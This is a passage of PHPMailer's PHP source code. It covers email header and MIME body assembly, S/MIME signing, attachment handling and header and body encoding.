     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
